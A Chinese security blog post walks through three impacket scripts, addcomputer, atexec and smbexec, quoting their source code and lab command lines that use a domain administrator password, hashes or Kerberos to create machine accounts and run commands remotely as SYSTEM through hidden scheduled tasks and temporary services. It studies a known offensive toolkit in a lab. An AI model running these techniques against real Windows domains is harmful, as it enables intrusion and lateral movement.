众亦信安,中意你啊!
点不了吃亏,点不了上当,设置星标,方能无恙!
一、addcomputer 浅析
作用:域内创建机器账户;
方法:samr(默认)、ldap;
SAMR
RPC绑定
epm.hept_map()方法进行前期的RPC绑定以及EPM MAP请求操作
if self.__targetIp isnotNone:
stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
else:
stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
此段代码对应的流量如下:
配置samr协议通信要用到的参数,samr服务器地址、端口、凭据等;
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.__port)
if self.__targetIp isnotNone:
rpctransport.setRemoteHost(self.__targetIp)
rpctransport.setRemoteName(self.__target)
ifhasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
RPC调用
doSAMRAdd()方法进行创建创建用户
self.doSAMRAdd(rpctransport)
对应的流量如下:
进入doSAMRAdd()方法中,以下是创建机器账户的大体流程:
-
dce = rpctransport.get_dce_rpc() //创建DCE/RPC实例
-
dce.connect() //与目标建立smb连接
-
dec.bind(samr.MSRPC_UUID_SAMR) //绑定到目标samr接口
此处代码对应的流量:
-
samr.hSamrConnect5() //连接samr服务器
-
samr.hSamrEnumerateDomainsInSamServer() //枚举目标服务器上的域
-
samr.hSamrLookupDomainInSamServer() //检索目标域名对应的SID
-
samr.hSamrOpenDomain() //获取samr服务器中目标域的句柄
-
samr.hSamrCreateUser2InDomain() //创建机器账户
-
samr.hSamrSetPasswordInternal4New() //设置机器账户密码
上面的通信是经过SMBV3加密的,所以流量上看不出什么;
LDAP
因为ldap3通信使用了SSL加密,抓包看不出明显特征,就不放流量图了,如果想看不加密可以将ldap3.Server()方法中的use_ssl设置为False,后面的文章会详细分析ldap通信;
ldap3.Server()方法配置ldap服务器ip、端口、是否使用ssl加密等信息;
ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls)
ldap3.Connection()方法进行认证,默认为NTLM认证,也可以使用Kerberos或hash认证;
if self.__doKerberos:
ldapConn = ldap3.Connection(ldapServer)
self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcHost)
elif self.__hashes isnotNone:
ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM)
ldapConn.bind()
else:
ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM)
ldapConn.bind()
在目标ldap数据库中添加咱们创建的机器账户的各种属性,dnsHostName、userAccountControl、servicePrincipalName、unicodePwd等;
computerHostname = self.__computerName[:-1]
computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))
# Default computer SPNs
spns = [
'HOST/%s' % computerHostname,
'HOST/%s.%s' % (computerHostname, self.__domain),
'RestrictedKrbHost/%s' % computerHostname,
'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),
]
ucd = {
'dnsHostName': '%s.%s' % (computerHostname, self.__domain),
'userAccountControl': 0x1000,
'servicePrincipalName': spns,
'sAMAccountName': self.__computerName,
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
}
res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)
总结
本小节对impacket中的addcomputer脚本进行浅析,只解释了关键步骤的代码;
samr方法是通过samr协议对lsass.exe进行请求创建机器账户,并存储到ntds.dit数据库中;
ldap方法是向域控的ldap数据库建立连接,在ldap中添加机器账户以及相关属性;
将上面代码绘制成导图,方便理解;
二、atexec 浅析
测试环境
作用:利用计划任务组件进行命令执行;
方式:SMB协议,NamePipeatsvc接口;
内网环境
-
DC(域控):192.168.1.137
-
WIN10(攻击机):192.168.1.129
-
WIN7(被攻击机):192.168.1.148
执行测试命令:
python atexec.py domain.local/administrator:"Admin@123"@192.168.1.137 whoami
代码解析
transport.DCERPCTransportFactory()创建DCE/RPC传输对象,进入 self.doStuff();
stringbinding = r'ncacn_np:%s[pipeatsvc]' % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
ifhasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
self.doStuff(rpctransport)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')
rpctransport.get_dce_rpc()获取DCE/RPC传输对象;
dce.set_credentials()设置验证凭据;
dce.connect()建立RPC连接(SMB协议);
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
if self.__doKerberos isTrue:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
此处代码对应的流量如下:
dce.set_auth_level()设置通信加密级别;
dce.bind()rpc绑定请求;
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
对应流量如下:
设置计划任务模板,在模板中设置我们传入的命令,并将执行后的结果保存至%windir%temp
8位随机文件名的tmp文件;
tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
tmpFileName = tmpName + '.tmp'
if self.sessionId is not None:
cmd, args = cmd_split(self.__command)
else:
cmd = "cmd.exe"
args = "/C %s > %%windir%%\Temp\%s 2>&1" % (self.__command, tmpFileName)
xml = """
<Taskversion="1.2"xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principalid="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<ActionsContext="LocalSystem">
<Exec>
<Command>%s</Command>
<Arguments>%s</Arguments>
</Exec>
</Actions>
</Task>
""" % ((xml_escape(cmd) if self.__silentCommand is False else self.__command.split()[0]),
(xml_escape(args) if self.__silentCommand is False else " ".join(self.__command.split()[1:])))
tsch.hSchRpcRegisterTask()创建计划任务;
tsch.hSchRpcRun()运行计划任务;
tsch.hSchRpcGetLastRunInfo()查看计划任务执行情况;
tsch.hSchRpcDelete()删除计划任务;
try:
logging.info('Creating task \%s' % tmpName)
tsch.hSchRpcRegisterTask(dce, '\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
logging.info('Running task \%s' % tmpName)
done = False
if self.sessionId isNone:
tsch.hSchRpcRun(dce, '\%s' % tmpName)
else:
try:
tsch.hSchRpcRun(dce, '\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId)
except Exception as e:
ifstr(e).find('ERROR_FILE_NOT_FOUND') >= 0orstr(e).find('E_INVALIDARG') >= 0 :
logging.info('The specified session doesn't exist!')
done = True
else:
raise
whilenot done:
logging.debug('Calling SchRpcGetLastRunInfo for \%s' % tmpName)
resp = tsch.hSchRpcGetLastRunInfo(dce, '\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0:
done = True
else:
time.sleep(2)
logging.info('Deleting task \%s' % tmpName)
tsch.hSchRpcDelete(dce, '\%s' % tmpName)
taskCreated = False
except tsch.DCERPCSessionError as e:
logging.error(e)
e.get_packet().dump()
finally:
if taskCreated isTrue:
tsch.hSchRpcDelete(dce, '\%s' % tmpName)
对应流量如下:
rpctransport.get_smb_connection()创建新的SMB连接;
smbConnection.getFile()读取文件ADMIN$Temp下的8位随机字符的tmp文件(Admin$对应主机的C:windows
目录);
smbConnection.deleteFile()删除该tmp文件;
smbConnection = rpctransport.get_smb_connection()
waitOnce = True
whileTrue:
try:
logging.info('Attempting to read ADMIN$\Temp\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\%s' % tmpFileName, output_callback)
break
except Exception as e:
ifstr(e).find('SHARING') > 0:
time.sleep(3)
elifstr(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
if waitOnce isTrue:
# We're giving it the chance to flush the file before giving up
time.sleep(3)
waitOnce = False
else:
raise
else:
raise
logging.debug('Deleting file ADMIN$\Temp\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\%s' % tmpFileName)
dce.disconnect()
对应流量如下:
整理代码思维导图如下:
总结
本小节浅析impacket中atexec脚本的整个流程,该脚本通过目标主机上计划任务组件进行命令执行,如果SMB版本位2.1之后,则SMB为加密流量,所以我们以WIN7系统主机做测试可以看到SMB通信详细信息;
整理流程图如下:
三、smbexec浅析
简介
通过smb协议进行命令执行。
协议:MS-SCMR;
接口:pipesvcctl;
测试环境
win2019(DC):192.168.1.4
win10(attack):192.168.1.3
win2016(目标主机):192.168.1.10
测试命令如下:
python smbexec.py domain.local/administrator:"Admin@123"@192.168.1.4 -debug
相关截图如下:
代码解读
主函数处理解析输入参数,将参数带入到SMDEXEC类中,并调用类中的run()函数;
进入run()函数中,显示进行rpc连接前期的准备操作,这是pipe命令管道、设置连接端口、设置目标主机等;接着初始化RemoteShell
类,并调用cmdloop()
函数;
进入RemoteShell
类中的初始化函数中,该类继承了cmd.Cmd类,前面设置一些参数,接着调用rpc.get_dce_rpc()
函数获取上面的rpc配置,接着调用self.__scmr.coonect()
函数进行smb连接;
对应流量如下:
由于我们没有选择SERVER Mode,所以不用进入if条件判断中,接着调用self.__scmr.bind()
函数进行RPC绑定,继续调用scmr.hROpenSCManagerW()
函数获取SCMR服务句柄;
对应流量如下:
调用self.transferClient = rpc.get_smb_connection()
获取SMB连接,接着调用self.do_cd('')
查看当前所在路径;进入do_cd()
函数中,接着调用self.execute_remote()
;
进入execute_remote()
中,先是if判断shell_type
参数是否为powershell(默认为cmd),接着生成8为随机字符的bat文件名赋值给batchFile
,将执行的命令经过构造拼接赋值给command
,执行cd
时,传入的执行命令为:
%COMSPEC% /Q /c echocd ^> \%COMPUTERNAME%C$__output 2^>^&1 >
%SYSTEMROOT%Ojqmuoqy.bat & %COMSPEC% /Q /c
%SYSTEMROOT%Ojqmuoqy.bat & del %SYSTEMROOT%Ojqmuoqy.bat
接着调用scmr.hRCreateServiceW()
函数创建服务,服务名为8位随机字符;然后调用scmr.hRStartServiceW()
启动服务、调用scmr.hRDeleteService()
用删除服务、调用scmr.hRCloseServiceHandle()
关闭服务句柄,调用self.get_output()
获取执行命令内容;
对应流量如下:
进入self.get_output()
中,if判断self.__mode
是否为SHARE
(默认为SHARE),调用self.transferClient.getFile()
通过SMB访问包含命令执行结果的文件__output
,并将结果赋值给self.__outputBuffer
,调用self.transferClient.deleteFile()
删除该文件;
对应流量如下:
返回do_cd()
中,执行完self.execute_remote('cd ' )
if判断self.__outputBuffer
是否有内容,有内容则获取路径将器显示到命令行输入的左侧,例如:C:windowssystem32>
,powershell则直接显示PS>
;
总结
本小节对smbexec.py脚本代码进行了简单的分析,该脚本命令执行方式是通过创建服务,服务内容为将命令写入bat文件并执行,并smb协议获取命令执行结果;
原文始发于微信公众号(众亦信安):impacket解读(一. addcomputer、atexec、smbexec)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论